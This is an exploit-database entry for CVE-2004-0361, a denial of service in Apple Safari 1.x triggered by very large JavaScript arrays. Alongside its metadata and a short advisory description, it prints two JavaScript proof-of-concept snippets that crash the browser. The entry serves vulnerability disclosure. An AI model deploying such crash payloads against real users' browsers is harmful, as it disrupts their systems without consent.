Apple Safari 1.x - Large JavaScript Array Handling Denial of Service

Author: kang
type: dos
platform: osx
port: 
date_added: 2004-03-06 
date_updated: 2012-12-31 
verified: 1 
codes: CVE-2004-0361;OSVDB-4158 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9815/info

Apple Safari Web Browser is reported to be prone to a security vulnerability related to handling of large JavaScript arrays (with 99999999999999999999999 or 0x23000000 elements). By declaring such an array and then attempting to access it, it may be possible to cause a browser crash.

This issue is likely due to memory corruption but it is not known if it could be further exploitable to execute arbitrary code.

var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";

and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));